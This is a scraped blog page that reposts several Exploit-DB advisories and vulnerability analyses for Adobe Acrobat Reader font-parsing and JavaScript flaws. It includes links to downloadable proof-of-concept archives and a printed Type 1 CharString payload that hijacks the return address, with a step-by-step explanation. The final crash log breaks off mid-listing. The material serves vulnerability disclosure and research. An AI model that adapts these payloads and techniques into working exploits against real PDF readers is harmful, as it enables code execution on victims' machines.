#####################################################################################
# Application: Adobe Acrobat Reader DC
# Platforms: Windows,OSX
# Versions: 15.016.20045 and earlier
# Author: Sébastien Morin of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: July 12, 2016
# CVE: CVE-2016-4203
# COSIG-2016-28
#####################################################################################
1) Introduction
2) Report Timeline
3) Technical details
4) POC
#####################################################################################
================
1) Introduction
================
Adobe Acrobat is a family of application software and Web services developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF).
(https://en.wikipedia.org/wiki/Adobe_Acrobat)
#####################################################################################
====================
2) Report Timeline
====================
2016-05-18: Sébastien Morin of COSIG report this vulnerability to Adobe PSIRT;
2016-06-08: Adobe PSIRT confirm this vulnerability;
2016-07-12: Adobe fixed the issue (APSB16-26);
2016-07-12: Advisory released by COSIG;
#####################################################################################
=====================
3) Technical details
=====================
The vulnerability allows a remote attacker to execute malicious code or access to part of dynamically allocated memory using a user interaction
that opens a specially crafted PDF file containing an invalid font (.ttf ) including invalid data.
#####################################################################################
===========
4) POC
===========
https://cosig.gouv.qc.ca/wp-content/uploads/2016/07/COSIG-2016-28.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40097.zip
####################################################################################
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
86399239
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
#####################################################################################
# Application: Adobe Acrobat Reader DC
# Platforms: Windows,OSX
# Versions: 15.016.20045 and earlier
# Author: Sébastien Morin and Pier-Luc Maltais of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: July 12, 2016
# CVE: CVE-2016-4204
# COSIG-2016-29
#####################################################################################
1) Introduction
2) Report Timeline
3) Technical details
4) POC
#####################################################################################
================
1) Introduction
================
Adobe Acrobat is a family of application software and Web services developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF).
(https://en.wikipedia.org/wiki/Adobe_Acrobat)
#####################################################################################
====================
2) Report Timeline
====================
2016-05-18: Sébastien Morin and Pier-Luc Maltais of COSIG report this vulnerability to Adobe PSIRT;
2016-06-08: Adobe PSIRT confirm this vulnerability;
2016-07-12: Adobe fixed the issue (APSB16-26);
2016-07-12: Advisory released by COSIG;
#####################################################################################
=====================
3) Technical details
=====================
The vulnerability allows a remote attacker to execute malicious code or access to part of dynamically allocated memory using a user interaction
that opens a specially crafted PDF file containing an invalid font (.ttf ) including invalid data.
#####################################################################################
===========
4) POC
===========
https://cosig.gouv.qc.ca/wp-content/uploads/2016/07/COSIG-2016-29.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40096.zip
####################################################################################
#####################################################################################
# Application: Adobe Acrobat Reader DC
# Platforms: Windows,OSX
# Versions: 15.016.20045 and earlier
# Author: Sébastien Morin and Pier-Luc Maltais of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: July 12, 2016
# CVE: CVE-2016-4205
# COSIG-2016-30
#####################################################################################
1) Introduction
2) Report Timeline
3) Technical details
4) POC
#####################################################################################
================
1) Introduction
================
Adobe Acrobat is a family of application software and Web services developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF).
(https://en.wikipedia.org/wiki/Adobe_Acrobat)
#####################################################################################
====================
2) Report Timeline
====================
2016-05-18: Sébastien Morin and Pier-Luc Maltais of COSIG report this vulnerability to Adobe PSIRT;
2016-06-08: Adobe PSIRT confirm this vulnerability;
2016-07-12: Adobe fixed the issue (APSB16-26);
2016-07-12: Advisory released by COSIG;
#####################################################################################
=====================
3) Technical details
=====================
The vulnerability allows a remote attacker to execute malicious code or access to part of dynamically allocated memory using a user interaction
that opens a specially crafted PDF file containing an invalid font (.ttf ) including invalid data.
#####################################################################################
===========
4) POC
===========
https://cosig.gouv.qc.ca/wp-content/uploads/2016/07/COSIG-2016-30.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40095.zip
####################################################################################
We have observed the following access violation exception in the latest version of Adobe Acrobat Reader DC for Windows, when opening a malformed PDF file:
--- cut ---
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=707779e0 ebx=25876c38 ecx=052faab8 edx=707703a4 esi=707703d4 edi=25876e34
eip=10e6c29e esp=052fa89c ebp=052fa8a4 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210212
CoolType!CTInit+0x3913e:
10e6c29e 8902 mov dword ptr [edx],eax ds:002b:707703a4=31a03194
0:000> u @eip-14
CoolType!CTInit+0x3912a:
10e6c28a 8b7d0c mov edi,dword ptr [ebp+0Ch]
10e6c28d 8b571c mov edx,dword ptr [edi+1Ch]
10e6c290 8b7720 mov esi,dword ptr [edi+20h]
10e6c293 035508 add edx,dword ptr [ebp+8]
10e6c296 8b4724 mov eax,dword ptr [edi+24h]
10e6c299 037508 add esi,dword ptr [ebp+8]
10e6c29c 03c6 add eax,esi
10e6c29e 8902 mov dword ptr [edx],eax
0:000> ? poi(edi+1c)
Evaluate expression: -690332 = fff57764
0:000> ? poi(ebp+8)
Evaluate expression: 1887538240 = 70818c40
0:000> !heap -p -a 70818c40
address 70818c40 found in
_DPH_HEAP_ROOT @ bfc1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
723d3b94: 70818c40 173c0 - 70818000 19000
unknown!fillpattern
0f32a8d0 verifier!AVrfDebugPageHeapAllocate+0x00000240
77f24b26 ntdll!RtlDebugAllocateHeap+0x0000003c
77e7e3e6 ntdll!RtlpAllocateHeap+0x000000f6
77e7cfb7 ntdll!RtlpAllocateHeapInternal+0x000002b7
77e7ccee ntdll!RtlAllocateHeap+0x0000003e
0f48aa2f vrfcore!VfCoreRtlAllocateHeap+0x0000001f
77c2f1f6 ucrtbase!_malloc_base+0x00000026
5fbefc39 AcroRd32!AcroWinMainSandbox+0x00003ec9
10e37991 CoolType!CTInit+0x00004831
10e38e1b CoolType!CTInit+0x00005cbb
10e68870 CoolType!CTInit+0x00035710
10e683dc CoolType!CTInit+0x0003527c
10e67d25 CoolType!CTInit+0x00034bc5
10e65902 CoolType!CTInit+0x000327a2
10e633f2 CoolType!CTInit+0x00030292
10e62719 CoolType!CTInit+0x0002f5b9
10e620e8 CoolType!CTInit+0x0002ef88
10e62000 CoolType!CTInit+0x0002eea0
108f36f1 AGM!AGMInitialize+0x0002a881
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 052fa8a4 10e6bde2 70818c40 25876e34 70818c40 CoolType!CTInit+0x3913e
01 052fa918 10e6bd06 052faab4 052fa9e4 00000001 CoolType!CTInit+0x38c82
02 052fa930 10e6bce7 052faab4 052fa9e4 73330f68 CoolType!CTInit+0x38ba6
03 052fa944 10e6bb4f 052faab4 052fa9e4 73330f68 CoolType!CTInit+0x38b87
04 052fa968 10e6b8b0 052facd8 73330f68 110f7080 CoolType!CTInit+0x389ef
05 052fab08 10e6abf9 73330f68 110f7080 052facd8 CoolType!CTInit+0x38750
06 052fad64 10e65b0c 052fb054 052faddc 00000000 CoolType!CTInit+0x37a99
07 052fb07c 10e633f2 000007c6 00000000 00000000 CoolType!CTInit+0x329ac
08 052fb14c 10e62719 65babff0 00000001 052fb1dc CoolType!CTInit+0x30292
09 052fb964 10e620e8 6aa0a9b4 052fb97c 6aa0a990 CoolType!CTInit+0x2f5b9
0a 052fb9e4 10e62000 6aa0a9b4 6aa0a99c 73fdc4da CoolType!CTInit+0x2ef88
0b 052fba24 108f36f1 7155bd90 6aa0a9b4 6aa0a99c CoolType!CTInit+0x2eea0
0c 052fba38 108e023e 6aa0a99c 108e01d0 331cbd80 AGM!AGMInitialize+0x2a881
0d 052fba4c 108df007 331cbd8c 10d84a18 00000001 AGM!AGMInitialize+0x173ce
0e 052fba84 108f0bcc c1574612 1733a7d0 00000000 AGM!AGMInitialize+0x16197
0f 052fbb4c 0f327c7a 0bfc16cc 052fbb78 0f3291ab AGM!AGMInitialize+0x27d5c
--- cut ---
Notes:
- The crash looks very similar to the one reported in Issue #1891 in June 2019, and fixed in August 2019 as CVE-2019-8042. The stack trace and context are nearly identical. It is possible that this is an unfixed variant of the previous vulnerability.
- Reproduces on Adobe Acrobat Reader DC (2019.012.20040) on Windows 10, with and without PageHeap enabled (more cleanly with PageHeap, though).
- The crash occurs immediately after opening the PDF document, and is caused by an attempt to write data at a negative offset relative to a heap allocation (-690332 in the above case).
- Attached samples: poc[1-4].pdf (crashing files).
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47769.zip
# Title: Adobe Acrobat Reader AFParseDate Javascript API Restrictions
Bypass Vulnerability
# Date: 09/28/2015
# Author: Reigning Shells, based off PoC published by Zero Day Initiative
# Vendor Homepage: adobe.com
# Version: Adobe Reader and Acrobat 10.x before 10.1.14 and 11.x before
11.0.11 on Windows and OS X are vulnerable.
# Tested on: Adobe Acrobat 11.0.10 on Windows 7
# CVE : CVE-2015-3073
This vulnerability allows remote attackers to bypass API restrictions on
vulnerable installations of Adobe Reader. User interaction is required to
exploit this vulnerability in that the target must visit a malicious page
or open a malicious file.
The specific flaw exists within AFParseDate. By creating a specially
crafted PDF with specific JavaScript instructions, it is possible to bypass
the Javascript API restrictions. A remote attacker could exploit this
vulnerability to execute arbitrary code.
Adobe Reader and Acrobat 10.x before 10.1.14 and 11.x before 11.0.11 on
Windows and OS X are vulnerable.
Notes:
The code assumes you attached a DLL named exploit.txt to the PDF document
to get around attachment security restrictions.
Acrobat will execute updaternotifications.dll if it's in the same directory
as the Acrobat executable or the same directory as the document being
opened.
Credit for discovery and the initial POC that illustrates code being
executed in the privileged context (launching a URL) goes to the Zero Day
Initiative.
Code:
https://github.com/reigningshells/CVE-2015-3073/blob/master/exploit.js
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38344.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
We have recently discovered that parts of AFDKO are compiled in in Adobe's desktop software such as Adobe Acrobat. Within a single installation of Acrobat, we have found traces of AFDKO in four different libraries: acrodistdll.dll, Acrobat.dll, CoolType.dll and AdobePDFL.dll. According to our brief analysis, AFDKO is not used for font rasterization (there is a different engine for that), but rather for the conversion between font formats. For example, it is possible to execute the AFDKO copy in CoolType.dll by opening a PDF file with an embedded font, and exporting it to a PostScript (.ps) or Encapsulated PostScript (.eps) document. It is uncertain if the AFDKO copies in other libraries are reachable as an attack surface and how.
It is also interesting to note that the AFDKO copies in the above DLLs are much older than the latest version of the code on GitHub. This can be easily recognized thanks to the fact that each component of the library (e.g. the Type 1 Reader - t1r, Type 1 Writer - t1w, CFF reader - cfr etc.) has its own version number included in the source code, and they change over time. For example, CoolType's version of the "cfr" module is 2.0.44, whereas the first open-sourced commit of AFDKO from September 2014 has version 2.0.46 (currently 2.1.0), so we can conclude that the CoolType fork is at least about ~5 years old. Furthermore, the forks in Acrobat.dll and AdobePDFL.dll are even older, with a "cfr" version of 2.0.31.
Despite the fact that CoolType contains an old fork of the library, it includes multiple non-public fixes for various vulnerabilities, particularly a number of important bounds checks in read*() functions declared in cffread/cffread.c (e.g. readFDSelect, readCharset etc.). These checks were first introduced in CoolType.dll shipped with Adobe Reader 9.1.2, which was released on 28 May 2009. This means that the internal fork of the code has had many bugs fixed for the last 10 years, which are still not addressed in the open-source branch of the code. Nevertheless, we found more security vulnerabilities which affect the AFDKO used by CoolType, through analysis of the publicly available code. This report describes one such issue reachable through the Adobe Acrobat file export functionality.
-----=====[ Description ]=====-----
The "Type 2 Charstring Format" specification from 5 May 1998 introduced two storage operators: store and load, which were both deprecated in the next iteration of the specs in 2000. These operators were responsible for copying data between the transient array (also known as the BuildCharArray, or BCA) and the so-called "Registry object".
As the document stated:
"""
The Registry provides more permanent storage for a number of items that have predefined meanings. The items stored in the Registry do not persist beyond the scope of rendering a font. Registry items are selected with an index, thus:
0 Weight Vector
1 Normalized Design Vector
2 User Design Vector
The result of selecting a Registry item with an index outside this list is undefined.
"""
The Type 1 CharString interpreter implemented in t1Decode() (c/public/lib/source/t1cstr/t1cstr.c) supports the load and store operators:
--- cut ---
1450 case t1_store:
1451 result = do_store(h);
1452 if (result)
1453 return result;
1454 continue;
[...]
1470 case t1_load:
1471 result = do_load(h);
1472 if (result)
1473 return result;
1474 continue;
--- cut ---
The do_store() and do_load() functions are as follows:
--- cut ---
664 /* Select registry item. Return NULL on invalid selector. */
665 static float *selRegItem(t1cCtx h, int reg, int *size) {
666 switch (reg) {
667 case T1_REG_WV:
668 *size = T1_MAX_MASTERS;
669 return h->aux->WV;
670 case T1_REG_NDV:
671 *size = T1_MAX_AXES;
672 return h->aux->NDV;
673 case T1_REG_UDV:
674 *size = T1_MAX_AXES;
675 return h->aux->UDV;
676 }
677 return NULL;
678 }
679
680 /* Execute "store" op. Return 0 on success else error code. */
681 static int do_store(t1cCtx h) {
682 int size;
683 int count;
684 int i;
685 int j;
686 int reg;
687 float *array;
688
689 CHKUFLOW(4);
690
691 count = (int)POP();
692 i = (int)POP();
693 j = (int)POP();
694 reg = (int)POP();
695 array = selRegItem(h, reg, &size);
696
697 if (array == NULL ||
698 i < 0 || i + count + 1 >= TX_BCA_LENGTH ||
699 j < 0 || j + count + 1 >= size)
700 return t1cErrStoreBounds;
701
702 memcpy(&array[j], &h->BCA[i], sizeof(float) * count);
703 return 0;
704 }
705
[...]
736
737 /* Execute "load" op. Return 0 on success else error code. */
738 static int do_load(t1cCtx h) {
739 int size;
740 int count;
741 int i;
742 int reg;
743 float *array;
744
745 CHKUFLOW(3);
746
747 count = (int)POP();
748 i = (int)POP();
749 reg = (int)POP();
750 array = selRegItem(h, reg, &size);
751
752 if (i < 0 || i + count - 1 >= TX_BCA_LENGTH || count > size)
753 return t1cErrLoadBounds;
754
755 memcpy(&h->BCA[i], array, sizeof(float) * count);
756
757 return 0;
758 }
--- cut ---
While both routines try to enforce proper bounds of the indexes and lengths (lines 697-700 and 752-753), they miss one important corner case -- negative count. When a value smaller than 0 is specified for "count", many of the other sanity checks can be bypassed, and out-of-bounds read/write access can be triggered with a high degree of control over what is copied where. The condition is especially dangerous in x86 builds, where a controlled 32-bit index added to a memory pointer can address the entire process address space. At the time of this writing, Adobe Acrobat for Windows is available as a 32-bit build only.
To give an example, setting count to a value in the range of 0x80000000-0xbfffffff makes it possible to set the "sizeof(float) * count" expression evaluate to an arbitrary multiple of 4 (0, 4, 8, ..., 0xfffffff8), enabling us to copy any chosen number of bytes in lines 702 and 755. At the same time, the value is so small that it bypasses all checks where "i + count" and "j + count" are involved for i, j in the range of 0-0x3fffffff, which also enables us to refer to the entire address space relative to the referenced buffer.
To summarize, we can copy an arbitrary number of bytes between h->BCA[] and the registry arrays at arbitrary offsets, which is a powerful primitive. There is only one obstacle -- the fact that values on the interpreter stack are stored as 32-bit floats, which means they have a 23-bit mantissa. For this reason, it is impossible to precisely control the integer values of i, j and count, if they are in the order of 2^30 or 2^31. The granularity is 128 for numbers around 2^30 and 256 for numbers around 2^31, so for example it is impossible to set i to 0x3fffffff or count to 0x80000001; the closest values are 0x3fffff80/0x40000000 and 0x80000000/0x80000100, respectively. In practice, this means that we can only copy out-of-bounds memory in chunks of 512 bytes (4 * 128) or 1024 under specific conditions, and that we can only choose negative offsets relative to BCA/array which are divisible by 128. On the other hand, if we set count to a largely negative value (e.g. -1073741696), we can set i and j to fully controlled (small) positive numbers.
The h->BCA[] array is stored within the t1cCtx structure in the stack frame of the t1cParse() function. The registry arrays reside within t1cAuxData structures allocated on the heap. As a result, the vulnerability gives us out-of-bounds access to both the stack and heap. An attacker could target generic data in memory related to the control flow such as return addresses, or application-specific data inside t1cCtx/t1cAuxData, which also contain many sensitive fields such as function pointers etc.
As a side note, the do_load() routine doesn't verify that array != NULL, which may result in a) operating on an uninitialized "size" variable in line 752, and b) passing NULL as the source parameter to memcpy() in line 755.
-----=====[ Invalid memcpy_s usage ]=====-----
We also wanted to point out another interesting bug in AFDKO, which is not present in the GitHub repository but can be found in CoolType. The latter build of the code uses safe variants of many standard functions, such as memcpy_s() instead of memcpy(), vsprintf_s() instead of vsprintf() etc. The memcpy() call in do_store() was also converted to memcpy_s(), and currently looks like this in decompiled form:
--- cut ---
memcpy_s(&array[j], 4 - 4 * j, (char *)h + 4 * i + 916, 4 * count);
--- cut ---
which can be translated to:
--- cut ---
memcpy_s(&array[j], sizeof(array) - sizeof(float) * j, &h->BCA[i], sizeof(float) * count);
--- cut ---
Note the second argument, which is supposed to be the length of the buffer being copied to. Judging by the code the author meant to set it to the number of available bytes from element "j" to the end of the array, but used the sizeof(array) expression instead of the actual length stored in the "size" variable. In this case sizeof(array) is the size of a pointer and evaluates to 4 or 8, which is nowhere near the actual size of the array (16 or 64 depending on the register). Consequently, this bug effectively blocks access to the element at array[1] for j={0, 1}, and is incorrectly set to a huge unsigned value for j >= 2, rendering it ineffective.
Considering that the 2nd "destsz" memcpy_s argument is not supposed to be a security boundary but just a safety net, and proper sanitization of the i, j, count values should prevent any kind of out-of-bounds access, we don't consider this a separate vulnerability. We are reporting it here as FYI.
-----=====[ Proof of Concept ]=====-----
The proof of concept is a PDF file with an embedded Type 1 font, which includes the following payload in the CharString of the "A" character:
--- cut ---
1 1621139584 134217728 div
2 dup 0 put
3 dup 1 put
4 dup 2 put
5 dup 3 put
6 dup 4 put
7 dup 5 put
8 dup 6 put
9 dup 7 put
10 dup 8 put
11 dup 9 put
12 dup 10 put
13 dup 11 put
14 0 2 0 12 store
15 0 67
16 4096 4096 -64 mul mul 128 add
17 load
18 endchar
--- cut ---
A brief description:
- Line 1 constructs a float on the stack with a binary representation of 0x41414141
- Lines 2-13 copy this value to the BuildCharArray at indexes 0-11
- Line 14 copies the 12 values from BCA to the registry #0 starting with index #2 (due to the memcpy_s bug)
- Lines 15-17 call the "load" operator with arguments reg=0, i=67, count=0xc0000080 (-1073741696). This results in copying 0x200 (0xc0000080 * 4) bytes from registry #0 to &h->BCA[67], which points to the return address of the t2cParse() function on the stack.
- Line 18 uses the "endchar" operator to return from the interpreter and use the overwritten return address, crashing at address 0x41414141.
-----=====[ Crash logs ]=====-----
When the poc.pdf file is opened with Adobe Acrobat Pro and converted to a PostScript document via "File > Export To > (Encapsulated) PostScript", the following crash occurs in Acrobat.exe:
--- cut ---
(2b10.3acc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0d3993bc edx=00000200 esi=0daec260 edi=0d3992b8
eip=41414141 esp=0133a07c ebp=01000100 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210297
41414141 ?? ???
0:000> dd esp
0133a07c 41414141 41414141 41414141 41414141
0133a08c 41414141 41414141 41414141 41414141
0133a09c 41414141 41414141 41414141 0dfd96a0
0133a0ac 0dfd96a0 00000004 ffffffff 00000000
0133a0bc 00000001 66751a2a 00000000 d4385860
0133a0cc 94000400 801f0014 21ec2020 10693aea
0133a0dc 0008dda2 9d30302b 8071001e 00000000
0133a0ec 00000000 acc70000 32027007 d2aa11d1
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47259.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
We have recently discovered that parts of AFDKO are compiled in in Adobe's desktop software such as Adobe Acrobat. Within a single installation of Acrobat, we have found traces of AFDKO in four different libraries: acrodistdll.dll, Acrobat.dll, CoolType.dll and AdobePDFL.dll. According to our brief analysis, AFDKO is not used for font rasterization (there is a different engine for that), but rather for the conversion between font formats. For example, it is possible to execute the AFDKO copy in CoolType.dll by opening a PDF file with an embedded font, and exporting it to a PostScript (.ps) or Encapsulated PostScript (.eps) document. It is uncertain if the AFDKO copies in other libraries are reachable as an attack surface and how.
It is also interesting to note that the AFDKO copies in the above DLLs are much older than the latest version of the code on GitHub. This can be easily recognized thanks to the fact that each component of the library (e.g. the Type 1 Reader - t1r, Type 1 Writer - t1w, CFF reader - cfr etc.) has its own version number included in the source code, and they change over time. For example, CoolType's version of the "cfr" module is 2.0.44, whereas the first open-sourced commit of AFDKO from September 2014 has version 2.0.46 (currently 2.1.0), so we can conclude that the CoolType fork is at least about ~5 years old. Furthermore, the forks in Acrobat.dll and AdobePDFL.dll are even older, with a "cfr" version of 2.0.31.
Despite the fact that CoolType contains an old fork of the library, it includes multiple non-public fixes for various vulnerabilities, particularly a number of important bounds checks in read*() functions declared in cffread/cffread.c (e.g. readFDSelect, readCharset etc.). These checks were first introduced in CoolType.dll shipped with Adobe Reader 9.1.2, which was released on 28 May 2009. This means that the internal fork of the code has had many bugs fixed for the last 10 years, which are still not addressed in the open-source branch of the code. Nevertheless, we found more security vulnerabilities which affect the AFDKO used by CoolType, through analysis of the publicly available code. This report describes one such issue reachable through the Adobe Acrobat file export functionality.
-----=====[ Description ]=====-----
The Type 1 font parsing code in AFDKO resides in c/public/lib/source/t1read/t1read.c, and the main context structure is t1rCtx, also declared in that file. t1rCtx contains a dynamic array FDArray of FDInfo structures:
--- cut ---
70 typedef struct /* FDArray element */
71 {
72 abfFontDict *fdict; /* Font dict */
73 struct /* Subrs */
74 {
75 ctlRegion region; /* cstr data region */
76 dnaDCL(long, offset);
77 } subrs;
78 t1cAuxData aux; /* Auxiliary charstring data */
79 struct /* Dict key info */
80 {
81 long lenIV; /* Length random cipher bytes */
82 long SubrMapOffset; /* CID-specific key */
83 unsigned short SubrCount; /* CID-specific key */
84 unsigned short SDBytes; /* CID-specific key */
85 unsigned short BlueValues; /* Flags /BlueValues seen */
86 } key;
87 t1cDecryptFunc decrypt; /* Charstring decryption function */
88 } FDInfo;
89
[...]
110 dnaDCL(FDInfo, FDArray); /* FDArray */
--- cut ---
The array is initially set to 1 element at the beginning of t1rBegFont():
--- cut ---
3035 /* Parse PostScript font. */
3036 int t1rBegFont(t1rCtx h, long flags, long origin, abfTopDict **top, float *UDV) {
[...]
3045 dnaSET_CNT(h->FDArray, 1);
--- cut ---
Later on, the array can be resized to any number of elements in the range of 0-256 using the /FDArray operator, which is handled by the initFDArray() function:
--- cut ---
2041 /* Initialize FDArray. */
2042 static void initFDArray(t1rCtx h, long cnt) {
2043 int i;
2044 if (cnt < 0 || cnt > 256)
2045 badKeyValue(h, kFDArray);
2046 dnaSET_CNT(h->FDArray, cnt);
2047 dnaSET_CNT(h->fdicts, cnt);
2048 for (i = 0; i < h->FDArray.cnt; i++)
2049 initFDInfo(h, i);
2050 h->fd = &h->FDArray.array[0];
2051 }
2052
[...]
2318 case kFDArray:
2319 initFDArray(h, parseInt(h, kFDArray));
2320 break;
--- cut ---
Parts of the FDInfo structures (specifically the "aux" nested structure) are initialized later on, in prepClientData():
--- cut ---
2949 /* Prepare auxiliary data */
2950 for (i = 0; i < h->FDArray.cnt; i++) {
2951 FDInfo *fd = &h->FDArray.array[i];
2952 fd->aux.flags = 0;
2953 if (h->flags & T1R_UPDATE_OPS)
2954 fd->aux.flags |= T1C_UPDATE_OPS;
2955 fd->aux.src = h->stm.tmp;
2956 fd->aux.subrs.cnt = fd->subrs.offset.cnt;
2957 fd->aux.subrs.offset = fd->subrs.offset.array;
2958 fd->aux.subrsEnd = fd->subrs.region.end;
2959 fd->aux.stm = &h->cb.stm;
[...]
--- cut ---
The problem with the code is that it assumes that FDArray always contains at least 1 element, whereas initFDArray() allows us to truncate it to 0 items.
When the client program later calls t1rIterateGlyphs(), execution will reach the following code in readGlyph():
--- cut ---
3170 /* Read charstring. */
3171 static void readGlyph(t1rCtx h,
3172 unsigned short tag, abfGlyphCallbacks *glyph_cb) {
3173 int result;
3174 long offset;
3175 long flags = h->flags;
3176 Char *chr = &h->chars.index.array[tag];
3177 t1cAuxData *aux = &h->FDArray.array[chr->iFD].aux;
3178
[...]
--- cut ---
The chr->iFD values are initialized to 0 by default in abfInitGlyphInfo(), so in line 3177 the library will take a reference to the uninitialized structure under h->FDArray.array[0].aux:
--- cut ---
Breakpoint 1, readGlyph (h=0x61f000000080, tag=0, glyph_cb=0x62c0000078d8) at ../../../../../source/t1read/t1read.c:3179
3179 if ((flags & CID_FONT) && !(flags & PRINT_STREAM)) {
(gdb) print *aux
$1 = {flags = -4702111234474983746, src = 0xbebebebebebebebe, stm = 0xbebebebebebebebe, subrs = {cnt = -4702111234474983746, offset = 0xbebebebebebebebe},
subrsEnd = -4702111234474983746, ctx = 0xbebebebebebebebe, getStdEncGlyphOffset = 0xbebebebebebebebe, bchar = 190 '\276', achar = 190 '\276', matrix = {
-0.372548997, -0.372548997, -0.372548997, -0.372548997, -0.372548997, -0.372548997}, nMasters = -16706, UDV = {-0.372548997 <repeats 15 times>}, NDV = {
-0.372548997 <repeats 15 times>}, WV = {-0.372548997 <repeats 64 times>}}
--- cut ---
In the above listing, 0xbe are AddressSanitizer's marker bytes for unitialized heap memory (in a Linux x64 build of the "tx" tool used for testing). The "aux" pointer is further passed down to functions in t1cstr/t1cstr.c -- first to t1cParse(), then to t1DecodeSubr(), and then to srcSeek(), where the following call is performed:
--- cut ---
191 /* Seek to offset on source stream. */
192 static int srcSeek(t1cCtx h, long offset) {
193 if (h->aux->stm->seek(h->aux->stm, h->aux->src, offset))
194 return 1;
195 h->src.offset = offset;
196 return 0;
197 }
--- cut ---
As we remember, the contents of the "aux" object and specifically aux.stm are uninitialized, so the code attempts to load a function pointer from an undefined address. According to our tests, the memory allocator used in Adobe Acrobat boils down to a simple malloc() call without a subsequent memset(), so the undefined data could in fact be leftover bytes from an older allocation freed before the faulty font is loaded. As a result, the "stm" pointer could be controlled by the input file through some light heap spraying/grooming, such that the free memory chunks reused by malloc() contain the desired data. This, in turn, could potentially lead to arbitrary code execution in the context of the Acrobat process.
-----=====[ Proof of Concept ]=====-----
The proof of concept is a PDF file with an embedded Type 1 font, which includes an extra "/FDArray 0" operator to set the length of FDArray to 0, as described above.
-----=====[ Crash logs ]=====-----
For reliable reproduction, we have enabled the PageHeap for Acrobat.exe in Application Verifier. In addition to allocating memory on page boundaries, it also fills out newly returned memory with a 0xc0 value, resulting in more consistent crashes when using such uninitialized data.
When the poc.pdf file is opened with Adobe Acrobat Pro and converted to a PostScript document via "File > Export To > (Encapsulated) PostScript", the following crash occurs in Acrobat.exe:
--- cut ---
(2728.221c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=84ca7ef4 ebx=87edee2c ecx=c0c0c0c0 edx=00000000 esi=012f9a2c edi=00000021
eip=548d0e67 esp=012f99e0 ebp=012f99f4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
CoolType!CTGetVersion+0xafccf:
548d0e67 ff510c call dword ptr [ecx+0Ch] ds:002b:c0c0c0cc=????????
0:000> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 012f99f4 548d1091 CoolType!CTGetVersion+0xafccf
01 012f9a1c 548d1b6e CoolType!CTGetVersion+0xafef9
02 012f9ea0 548d545e CoolType!CTGetVersion+0xb09d6
03 012f9ed0 548d63b1 CoolType!CTGetVersion+0xb42c6
04 012f9eec 548a6164 CoolType!CTGetVersion+0xb5219
05 012f9f14 548a3919 CoolType!CTGetVersion+0x84fcc
06 012f9f34 5486bd5c CoolType!CTGetVersion+0x82781
07 012f9f70 54842786 CoolType!CTGetVersion+0x4abc4
08 012fa224 548ec8bd CoolType!CTGetVersion+0x215ee
09 012fb768 548ed5de CoolType!CTGetVersion+0xcb725
0a 012fc830 548243e6 CoolType!CTGetVersion+0xcc446
0b 012fc92c 54823fda CoolType!CTGetVersion+0x324e
0c 012fc940 54904037 CoolType!CTGetVersion+0x2e42
0d 012fc980 0c146986 CoolType!CTGetVersion+0xe2e9f
0e 012fc9f4 0c16008f AGM!AGMGetVersion+0x23eb86
0f 012fca40 0c16039c AGM!AGMGetVersion+0x25828f
10 012fca6c 0c1603fd AGM!AGMGetVersion+0x25859c
11 012fcaac 0c129704 AGM!AGMGetVersion+0x2585fd
12 012fcd48 62c11f7a AGM!AGMGetVersion+0x221904
13 012fcd88 62c1fde1 BIB!BIBInitialize4+0x7ff
14 012fcd90 62c11ee1 BIB!BIBLockSmithUnlockImpl+0x48c9
15 00000000 00000000 BIB!BIBInitialize4+0x766
--- cut ---
The value of ECX is loaded from EAX:
--- cut ---
0:000> u @$scopeip-7
CoolType!CTGetVersion+0xafcc8:
